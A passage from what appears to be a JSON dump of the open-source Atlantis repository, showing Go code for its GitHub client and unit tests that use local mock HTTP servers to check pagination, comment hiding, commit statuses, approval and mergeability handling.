/app-manifests/%s/conversions returned: %v\", code, resp.StatusCode)\n\t}\n\tdata := &GithubAppTemporarySecrets{\n\t\tID:            cfg.GetID(),\n\t\tKey:           cfg.GetPEM(),\n\t\tWebhookSecret: cfg.GetWebhookSecret(),\n\t\tName:          cfg.GetName(),\n\t\tURL:           cfg.GetHTMLURL(),\n\t}\n\n\treturn data, err\n}\n\n// GetFileContent a repository file content from VCS (which support fetch a single file from repository)\n// The first return value indicates whether the repo contains a file or not\n// if BaseRepo had a file, its content will placed on the second return value\nfunc (g *Client) GetFileContent(logger logging.SimpleLogging, repo models.Repo, branch string, fileName string) (bool, []byte, error) {\n\tlogger.Debug(\"Getting GitHub file content for file '%s'\", fileName)\n\topt := github.RepositoryContentGetOptions{Ref: branch}\n\n\tfileContent, _, resp, err := g.client.Repositories.GetContents(g.ctx, repo.Owner, repo.Name, fileName, &opt)\n\tif resp != nil {\n\t\tlogger.Debug(\"GET /repos/%v/%v/contents/%s returned: %v\", repo.Owner, repo.Name, fileName, resp.StatusCode)\n\t}\n\n\tif resp.StatusCode == http.StatusNotFound {\n\t\treturn false, []byte{}, nil\n\t}\n\tif err != nil {\n\t\treturn true, []byte{}, err\n\t}\n\n\tdecodedData, err := base64.StdEncoding.DecodeString(*fileContent.Content)\n\tif err != nil {\n\t\treturn true, []byte{}, err\n\t}\n\n\treturn true, decodedData, nil\n}\n\nfunc (g *Client) SupportsSingleFileDownload(_ models.Repo) bool {\n\treturn true\n}\n\nfunc (g *Client) GetCloneURL(logger logging.SimpleLogging, _ models.VCSHostType, repo string) (string, error) {\n\tlogger.Debug(\"Getting clone URL for %s\", repo)\n\tparts := strings.Split(repo, \"/\")\n\trepository, resp, err := g.client.Repositories.Get(g.ctx, parts[0], parts[1])\n\tif resp != nil {\n\t\tlogger.Debug(\"GET /repos/%v/%v returned: %v\", parts[0], parts[1], resp.StatusCode)\n\t}\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn repository.GetCloneURL(), nil\n}\n\nfunc (g *Client) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) {\n\tlogger.Debug(\"Getting labels for GitHub pull request %d\", pull.Num)\n\tpullDetails, resp, err := g.client.PullRequests.Get(g.ctx, repo.Owner, repo.Name, pull.Num)\n\tif resp != nil {\n\t\tlogger.Debug(\"GET /repos/%v/%v/pulls/%d returned: %v\", repo.Owner, repo.Name, pull.Num, resp.StatusCode)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar labels []string\n\n\tfor _, label := range pullDetails.Labels {\n\t\tlabels = append(labels, *label.Name)\n\t}\n\n\treturn labels, nil\n}\n"
  },
  {
    "path": "server/events/vcs/github/client_internal_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage github\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\n// If the hostname is github.com, should use normal BaseURL.\nfunc TestNew_GithubCom(t *testing.T) {\n\tclient, err := New(\"github.com\", &UserCredentials{\"user\", \"pass\", \"\"}, Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\tEquals(t, \"https://api.github.com/\", client.client.BaseURL.String())\n}\n\n// If the hostname is a non-github hostname should use the right BaseURL.\nfunc TestNew_NonGithub(t *testing.T) {\n\tclient, err := New(\"example.com\", &UserCredentials{\"user\", \"pass\", \"\"}, Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\tEquals(t, \"https://example.com/api/v3/\", client.client.BaseURL.String())\n\t// If possible in the future, test the GraphQL client's URL as well. But at the\n\t// moment the shurcooL library doesn't expose it.\n}\n"
  },
  {
    "path": "server/events/vcs/github/client_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage github_test\n\nimport (\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/github\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\n\t\"github.com/shurcooL/githubv4\"\n)\n\n// GetModifiedFiles should make multiple requests if more than one page\n// and concat results.\nfunc TestClient_GetModifiedFiles(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\trespTemplate := `[\n  {\n    \"sha\": \"bbcd538c8e72b8c175046e27cc8f907076331401\",\n    \"filename\": \"%s\",\n    \"status\": \"added\",\n    \"additions\": 103,\n    \"deletions\": 21,\n    \"changes\": 124,\n    \"blob_url\": \"https://github.com/octocat/Hello-World/blob/6dcb09b5b57875f334f61aebed695e2e4193db5e/file1.txt\",\n    \"raw_url\": \"https://github.com/octocat/Hello-World/raw/6dcb09b5b57875f334f61aebed695e2e4193db5e/file1.txt\",\n    \"contents_url\": \"https://api.github.com/repos/octocat/Hello-World/contents/file1.txt?ref=6dcb09b5b57875f334f61aebed695e2e4193db5e\",\n    \"patch\": \"@@ -132,7 +132,7 @@ module Test @@ -1000,7 +1000,7 @@ module Test\"\n  }\n]`\n\tfirstResp := fmt.Sprintf(respTemplate, \"file1.txt\")\n\tsecondResp := fmt.Sprintf(respTemplate, \"file2.txt\")\n\ttestServer := httptest.NewTLSServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tswitch r.RequestURI {\n\t\t\t// The first request should hit this URL.\n\t\t\tcase \"/api/v3/repos/owner/repo/pulls/1/files?per_page=300\":\n\t\t\t\t// We write a header that means there's an additional page.\n\t\t\t\tw.Header().Add(\"Link\", `<https://api.github.com/resource?page=2>; rel=\"next\",\n      <https://api.github.com/resource?page=2>; rel=\"last\"`)\n\t\t\t\tw.Write([]byte(firstResp)) // nolint: errcheck\n\t\t\t\treturn\n\t\t\t\t// The second should hit this URL.\n\t\t\tcase \"/api/v3/repos/owner/repo/pulls/1/files?page=2&per_page=300\":\n\t\t\t\tw.Write([]byte(secondResp)) // nolint: errcheck\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t}))\n\n\ttestServerURL, err := url.Parse(testServer.URL)\n\tOk(t, err)\n\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logger)\n\tOk(t, err)\n\tdefer disableSSLVerification()()\n\n\tfiles, err := client.GetModifiedFiles(\n\t\tlogger,\n\t\tmodels.Repo{\n\t\t\tFullName:          \"owner/repo\",\n\t\t\tOwner:             \"owner\",\n\t\t\tName:              \"repo\",\n\t\t\tCloneURL:          \"\",\n\t\t\tSanitizedCloneURL: \"\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tType:     models.Github,\n\t\t\t\tHostname: \"github.com\",\n\t\t\t},\n\t\t}, models.PullRequest{\n\t\t\tNum: 1,\n\t\t})\n\tOk(t, err)\n\tEquals(t, []string{\"file1.txt\", \"file2.txt\"}, files)\n}\n\n// GetModifiedFiles should include the source and destination of a moved\n// file.\nfunc TestClient_GetModifiedFilesMovedFile(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tresp := `[\n  {\n    \"sha\": \"bbcd538c8e72b8c175046e27cc8f907076331401\",\n    \"filename\": \"new/filename.txt\",\n    \"previous_filename\": \"previous/filename.txt\",\n    \"status\": \"renamed\",\n    \"additions\": 103,\n    \"deletions\": 21,\n    \"changes\": 124,\n    \"blob_url\": \"https://github.com/octocat/Hello-World/blob/6dcb09b5b57875f334f61aebed695e2e4193db5e/file1.txt\",\n    \"raw_url\": \"https://github.com/octocat/Hello-World/raw/6dcb09b5b57875f334f61aebed695e2e4193db5e/file1.txt\",\n    \"contents_url\": \"https://api.github.com/repos/octocat/Hello-World/contents/file1.txt?ref=6dcb09b5b57875f334f61aebed695e2e4193db5e\",\n    \"patch\": \"@@ -132,7 +132,7 @@ module Test @@ -1000,7 +1000,7 @@ module Test\"\n  }\n]`\n\ttestServer := httptest.NewTLSServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tswitch r.RequestURI {\n\t\t\t// The first request should hit this URL.\n\t\t\tcase \"/api/v3/repos/owner/repo/pulls/1/files?per_page=300\":\n\t\t\t\tw.Write([]byte(resp)) // nolint: errcheck\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t}))\n\n\ttestServerURL, err := url.Parse(testServer.URL)\n\tOk(t, err)\n\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\tdefer disableSSLVerification()()\n\n\tfiles, err := client.GetModifiedFiles(\n\t\tlogger,\n\t\tmodels.Repo{\n\t\t\tFullName:          \"owner/repo\",\n\t\t\tOwner:             \"owner\",\n\t\t\tName:              \"repo\",\n\t\t\tCloneURL:          \"\",\n\t\t\tSanitizedCloneURL: \"\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tType:     models.Github,\n\t\t\t\tHostname: \"github.com\",\n\t\t\t},\n\t\t}, models.PullRequest{\n\t\t\tNum: 1,\n\t\t})\n\tOk(t, err)\n\tEquals(t, []string{\"new/filename.txt\", \"previous/filename.txt\"}, files)\n}\n\nfunc TestClient_PaginatesComments(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcalls := 0\n\tissueResps := []string{\n\t\t`[\n\t{\"node_id\": \"1\", \"body\": \"asd\\nplan\\nasd\", \"user\": {\"login\": \"someone-else\"}},\n\t{\"node_id\": \"2\", \"body\": \"asd plan\\nasd\", \"user\": {\"login\": \"user\"}}\n]`,\n\t\t`[\n\t{\"node_id\": \"3\", \"body\": \"asd\", \"user\": {\"login\": \"someone-else\"}},\n\t{\"node_id\": \"4\", \"body\": \"asdasd\", \"user\": {\"login\": \"someone-else\"}}\n]`,\n\t\t`[\n\t{\"node_id\": \"5\", \"body\": \"asd plan\", \"user\": {\"login\": \"someone-else\"}},\n\t{\"node_id\": \"6\", \"body\": \"asd\\nplan\", \"user\": {\"login\": \"user\"}}\n]`,\n\t\t`[\n\t{\"node_id\": \"7\", \"body\": \"asd\", \"user\": {\"login\": \"user\"}},\n\t{\"node_id\": \"8\", \"body\": \"asd plan \\n asd\", \"user\": {\"login\": \"user\"}}\n]`,\n\t}\n\tminimizeResp := \"{}\"\n\ttype graphQLCall struct {\n\t\tVariables struct {\n\t\t\tInput githubv4.MinimizeCommentInput `json:\"input\"`\n\t\t} `json:\"variables\"`\n\t}\n\tgotMinimizeCalls := make([]graphQLCall, 0, 2)\n\ttestServer := httptest.NewTLSServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tswitch r.Method + \" \" + r.RequestURI {\n\t\t\tcase \"POST /api/graphql\":\n\t\t\t\tdefer r.Body.Close() // nolint: errcheck\n\t\t\t\tbody, err := io.ReadAll(r.Body)\n\t\t\t\tif err != nil {\n\t\t\t\t\tt.Errorf(\"read body error: %v\", err)\n\t\t\t\t\thttp.Error(w, \"server error\", http.StatusInternalServerError)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tcall := graphQLCall{}\n\t\t\t\terr = json.Unmarshal(body, &call)\n\t\t\t\tif err != nil {\n\t\t\t\t\tt.Errorf(\"parse body error: %v\", err)\n\t\t\t\t\thttp.Error(w, \"server error\", http.StatusInternalServerError)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tgotMinimizeCalls = append(gotMinimizeCalls, call)\n\t\t\t\tw.Write([]byte(minimizeResp)) // nolint: errcheck\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tif r.Method != \"GET\" || !strings.HasPrefix(r.RequestURI, \"/api/v3/repos/owner/repo/issues/123/comments\") {\n\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif (calls + 1) < len(issueResps) {\n\t\t\t\t\tw.Header().Add(\n\t\t\t\t\t\t\"Link\",\n\t\t\t\t\t\tfmt.Sprintf(\n\t\t\t\t\t\t\t`<http://%s/api/v3/repos/owner/repo/issues/123/comments?page=%d&per_page=100>; rel=\"next\"`,\n\t\t\t\t\t\t\tr.Host,\n\t\t\t\t\t\t\tcalls+1,\n\t\t\t\t\t\t),\n\t\t\t\t\t)\n\t\t\t\t}\n\t\t\t\tw.Write([]byte(issueResps[calls])) // nolint: errcheck\n\t\t\t\tcalls++\n\t\t\t}\n\t\t}),\n\t)\n\n\ttestServerURL, err := url.Parse(testServer.URL)\n\tOk(t, err)\n\n\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\tdefer disableSSLVerification()()\n\n\terr = client.HidePrevCommandComments(\n\t\tlogger,\n\t\tmodels.Repo{\n\t\t\tFullName:          \"owner/repo\",\n\t\t\tOwner:             \"owner\",\n\t\t\tName:              \"repo\",\n\t\t\tCloneURL:          \"\",\n\t\t\tSanitizedCloneURL: \"\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tHostname: \"github.com\",\n\t\t\t\tType:     models.Github,\n\t\t\t},\n\t\t},\n\t\t123,\n\t\tcommand.Plan.TitleString(),\n\t\t\"\",\n\t)\n\tOk(t, err)\n\tEquals(t, 2, len(gotMinimizeCalls))\n\tEquals(t, \"2\", gotMinimizeCalls[0].Variables.Input.SubjectID)\n\tEquals(t, \"8\", gotMinimizeCalls[1].Variables.Input.SubjectID)\n\tEquals(t, githubv4.ReportedContentClassifiersOutdated, gotMinimizeCalls[0].Variables.Input.Classifier)\n\tEquals(t, githubv4.ReportedContentClassifiersOutdated, gotMinimizeCalls[1].Variables.Input.Classifier)\n}\n\nfunc TestClient_HideOldComments(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tatlantisUser := \"AtlantisUser\"\n\tpullRequestNum := 123\n\tissueResp := strings.ReplaceAll(`[\n\t{\"node_id\": \"1\", \"body\": \"asd\\nplan\\nasd\", \"user\": {\"login\": \"someone-else\"}},\n\t{\"node_id\": \"2\", \"body\": \"asd plan\\nasd\", \"user\": {\"login\": \"someone-else\"}},\n\t{\"node_id\": \"3\", \"body\": \"asdasdasd\\nasdasdasd\", \"user\": {\"login\": \"someone-else\"}},\n\t{\"node_id\": \"4\", \"body\": \"asdasdasd\\nasdasdasd\", \"user\": {\"login\": \"AtlantisUser\"}},\n\t{\"node_id\": \"5\", \"body\": \"asd\\nplan\\nasd\", \"user\": {\"login\": \"AtlantisUser\"}},\n\t{\"node_id\": \"6\", \"body\": \"Ran Plan for 2 projects:\", \"user\": {\"login\": \"AtlantisUser\"}},\n\t{\"node_id\": \"7\", \"body\": \"Ran Apply for 2 projects:\", \"user\": {\"login\": \"AtlantisUser\"}},\n\t{\"node_id\": \"8\", \"body\": \"Ran Plan for dir: 'stack1' workspace: 'default'\", \"user\": {\"login\": \"AtlantisUser\"}},\n\t{\"node_id\": \"9\", \"body\": \"Ran Plan for dir: 'stack2' workspace: 'default'\", \"user\": {\"login\": \"AtlantisUser\"}},\n\t{\"node_id\": \"10\", \"body\": \"Continued Plan from previous comment\\nasd\", \"user\": {\"login\": \"AtlantisUser\"}}\n]`, \"'\", \"`\")\n\tminimizeResp := \"{}\"\n\ttype graphQLCall struct {\n\t\tVariables struct {\n\t\t\tInput githubv4.MinimizeCommentInput `json:\"input\"`\n\t\t} `json:\"variables\"`\n\t}\n\n\tcases := []struct {\n\t\tdir                 string\n\t\tprocessedComments   int\n\t\tprocessedCommentIds []string\n\t}{\n\t\t{\n\t\t\t// With no dir specified, comments 6, 8, 9 and 10 should be minimized.\n\t\t\t\"\",\n\t\t\t4,\n\t\t\t[]string{\"6\", \"8\", \"9\", \"10\"},\n\t\t},\n\t\t{\n\t\t\t// With a dir of \"stack1\", comment 8 should be minimized.\n\t\t\t\"stack1\",\n\t\t\t1,\n\t\t\t[]string{\"8\"},\n\t\t},\n\t\t{\n\t\t\t// With a dir of \"stack2\", comment 9 should be minimized.\n\t\t\t\"stack2\",\n\t\t\t1,\n\t\t\t[]string{\"9\"},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.dir, func(t *testing.T) {\n\t\t\tgotMinimizeCalls := make([]graphQLCall, 0, 1)\n\t\t\ttestServer := httptest.NewTLSServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.Method + \" \" + r.RequestURI {\n\t\t\t\t\t// This gets the pull request's comments.\n\t\t\t\t\tcase fmt.Sprintf(\"GET /api/v3/repos/owner/repo/issues/%v/comments?direction=asc&sort=created\", pullRequestNum):\n\t\t\t\t\t\tw.Write([]byte(issueResp)) // nolint: errcheck\n\t\t\t\t\t\treturn\n\t\t\t\t\tcase \"POST /api/graphql\":\n\t\t\t\t\t\tdefer r.Body.Close() // nolint: errcheck\n\t\t\t\t\t\tbody, err := io.ReadAll(r.Body)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tt.Errorf(\"read body error: %v\", err)\n\t\t\t\t\t\t\thttp.Error(w, \"server error\", http.StatusInternalServerError)\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcall := graphQLCall{}\n\t\t\t\t\t\terr = json.Unmarshal(body, &call)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tt.Errorf(\"parse body error: %v\", err)\n\t\t\t\t\t\t\thttp.Error(w, \"server error\", http.StatusInternalServerError)\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t\tgotMinimizeCalls = append(gotMinimizeCalls, call)\n\t\t\t\t\t\tw.Write([]byte(minimizeResp)) // nolint: errcheck\n\t\t\t\t\t\treturn\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}),\n\t\t\t)\n\n\t\t\ttestServerURL, err := url.Parse(testServer.URL)\n\t\t\tOk(t, err)\n\n\t\t\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{atlantisUser, \"pass\", \"\"}, github.Config{}, 0,\n\t\t\t\tlogging.NewNoopLogger(t))\n\t\t\tOk(t, err)\n\t\t\tdefer disableSSLVerification()()\n\n\t\t\terr = client.HidePrevCommandComments(\n\t\t\t\tlogger,\n\t\t\t\tmodels.Repo{\n\t\t\t\t\tFullName:          \"owner/repo\",\n\t\t\t\t\tOwner:             \"owner\",\n\t\t\t\t\tName:              \"repo\",\n\t\t\t\t\tCloneURL:          \"\",\n\t\t\t\t\tSanitizedCloneURL: \"\",\n\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\tHostname: \"github.com\",\n\t\t\t\t\t\tType:     models.Github,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tpullRequestNum,\n\t\t\t\tcommand.Plan.TitleString(),\n\t\t\t\tc.dir,\n\t\t\t)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.processedComments, len(gotMinimizeCalls))\n\t\t\tfor i := 0; i < c.processedComments; i++ {\n\t\t\t\tEquals(t, c.processedCommentIds[i], gotMinimizeCalls[i].Variables.Input.SubjectID)\n\t\t\t\tEquals(t, githubv4.ReportedContentClassifiersOutdated, gotMinimizeCalls[i].Variables.Input.Classifier)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestClient_UpdateStatus(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcases := []struct {\n\t\tstatus   models.CommitStatus\n\t\texpState string\n\t}{\n\t\t{\n\t\t\tmodels.PendingCommitStatus,\n\t\t\t\"pending\",\n\t\t},\n\t\t{\n\t\t\tmodels.SuccessCommitStatus,\n\t\t\t\"success\",\n\t\t},\n\t\t{\n\t\t\tmodels.FailedCommitStatus,\n\t\t\t\"failure\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.status.String(), func(t *testing.T) {\n\t\t\ttestServer := httptest.NewTLSServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\tcase \"/api/v3/repos/owner/repo/statuses/\":\n\t\t\t\t\t\tbody, err := io.ReadAll(r.Body)\n\t\t\t\t\t\tOk(t, err)\n\t\t\t\t\t\texp := fmt.Sprintf(`{\"state\":\"%s\",\"target_url\":\"https://google.com\",\"description\":\"description\",\"context\":\"src\"}%s`, c.expState, \"\\n\")\n\t\t\t\t\t\tEquals(t, exp, string(body))\n\t\t\t\t\t\tdefer r.Body.Close() // nolint: errcheck\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}))\n\n\t\t\ttestServerURL, err := url.Parse(testServer.URL)\n\t\t\tOk(t, err)\n\t\t\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logging.NewNoopLogger(t))\n\t\t\tOk(t, err)\n\t\t\tdefer disableSSLVerification()()\n\n\t\t\terr = client.UpdateStatus(\n\t\t\t\tlogger,\n\t\t\t\tmodels.Repo{\n\t\t\t\t\tFullName:          \"owner/repo\",\n\t\t\t\t\tOwner:             \"owner\",\n\t\t\t\t\tName:              \"repo\",\n\t\t\t\t\tCloneURL:          \"\",\n\t\t\t\t\tSanitizedCloneURL: \"\",\n\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\tType:     models.Github,\n\t\t\t\t\t\tHostname: \"github.com\",\n\t\t\t\t\t},\n\t\t\t\t}, models.PullRequest{\n\t\t\t\t\tNum: 1,\n\t\t\t\t}, c.status, \"src\", \"description\", \"https://google.com\")\n\t\t\tOk(t, err)\n\t\t})\n\t}\n}\n\nfunc TestClient_PullIsApproved(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\trespTemplate := `[\n\t\t{\n\t\t\t\"id\": %d,\n\t\t\t\"node_id\": \"MDE3OlB1bGxSZXF1ZXN0UmV2aWV3ODA=\",\n\t\t\t\"user\": {\n\t\t\t  \"login\": \"octocat\",\n\t\t\t  \"id\": 1,\n\t\t\t  \"node_id\": \"MDQ6VXNlcjE=\",\n\t\t\t  \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n\t\t\t  \"gravatar_id\": \"\",\n\t\t\t  \"url\": \"https://api.github.com/users/octocat\",\n\t\t\t  \"html_url\": \"https://github.com/octocat\",\n\t\t\t  \"followers_url\": \"https://api.github.com/users/octocat/followers\",\n\t\t\t  \"following_url\": \"https://api.github.com/users/octocat/following{/other_user}\",\n\t\t\t  \"gists_url\": \"https://api.github.com/users/octocat/gists{/gist_id}\",\n\t\t\t  \"starred_url\": \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n\t\t\t  \"subscriptions_url\": \"https://api.github.com/users/octocat/subscriptions\",\n\t\t\t  \"organizations_url\": \"https://api.github.com/users/octocat/orgs\",\n\t\t\t  \"repos_url\": \"https://api.github.com/users/octocat/repos\",\n\t\t\t  \"events_url\": \"https://api.github.com/users/octocat/events{/privacy}\",\n\t\t\t  \"received_events_url\": \"https://api.github.com/users/octocat/received_events\",\n\t\t\t  \"type\": \"User\",\n\t\t\t  \"site_admin\": false\n\t\t\t},\n\t\t\t\"body\": \"Here is the body for the review.\",\n\t\t\t\"commit_id\": \"ecdd80bb57125d7ba9641ffaa4d7d2c19d3f3091\",\n\t\t\t\"state\": \"CHANGES_REQUESTED\",\n\t\t\t\"html_url\": \"https://github.com/octocat/Hello-World/pull/12#pullrequestreview-%d\",\n\t\t\t\"pull_request_url\": \"https://api.github.com/repos/octocat/Hello-World/pulls/12\",\n\t\t\t\"_links\": {\n\t\t\t  \"html\": {\n\t\t\t\t\"href\": \"https://github.com/octocat/Hello-World/pull/12#pullrequestreview-%d\"\n\t\t\t  },\n\t\t\t  \"pull_request\": {\n\t\t\t\t\"href\": \"https://api.github.com/repos/octocat/Hello-World/pulls/12\"\n\t\t\t  }\n\t\t\t}\n\t\t  }\n]`\n\tfirstResp := fmt.Sprintf(respTemplate, 80, 80, 80)\n\tsecondResp := fmt.Sprintf(respTemplate, 81, 81, 81)\n\ttestServer := httptest.NewTLSServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tswitch r.RequestURI {\n\t\t\t// The first request should hit this URL.\n\t\t\tcase \"/api/v3/repos/owner/repo/pulls/1/reviews?per_page=300\":\n\t\t\t\t// We write a header that means there's an additional page.\n\t\t\t\tw.Header().Add(\"Link\", `<https://api.github.com/resource?page=2>; rel=\"next\",\n      <https://api.github.com/resource?page=2>; rel=\"last\"`)\n\t\t\t\tw.Write([]byte(firstResp)) // nolint: errcheck\n\t\t\t\treturn\n\t\t\t\t// The second should hit this URL.\n\t\t\tcase \"/api/v3/repos/owner/repo/pulls/1/reviews?page=2&per_page=300\":\n\t\t\t\tw.Write([]byte(secondResp)) // nolint: errcheck\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t}))\n\n\ttestServerURL, err := url.Parse(testServer.URL)\n\tOk(t, err)\n\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\tdefer disableSSLVerification()()\n\n\tapprovalStatus, err := client.PullIsApproved(\n\t\tlogger,\n\t\tmodels.Repo{\n\t\t\tFullName:          \"owner/repo\",\n\t\t\tOwner:             \"owner\",\n\t\t\tName:              \"repo\",\n\t\t\tCloneURL:          \"\",\n\t\t\tSanitizedCloneURL: \"\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tType:     models.Github,\n\t\t\t\tHostname: \"github.com\",\n\t\t\t},\n\t\t}, models.PullRequest{\n\t\t\tNum: 1,\n\t\t})\n\tOk(t, err)\n\tEquals(t, false, approvalStatus.IsApproved)\n}\n\nfunc TestClient_PullIsMergeable(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tvcsStatusName := \"atlantis-test\"\n\tcases := []struct {\n\t\tstate        string\n\t\texpMergeable models.MergeableStatus\n\t}{\n\t\t{\n\t\t\t\"dirty\",\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state dirty\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"unknown\",\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state unknown\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"blocked\",\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state blocked\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"behind\",\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state behind\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"random\",\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state random\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"unstable\",\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"has_hooks\",\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"clean\",\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"\",\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state <unknown>\",\n\t\t\t},\n\t\t},\n\t}\n\n\t// Use a real GitHub json response and edit the mergeable_state field.\n\tjsBytes, err := os.ReadFile(\"testdata/pull-request.json\")\n\tOk(t, err)\n\tprJSON := 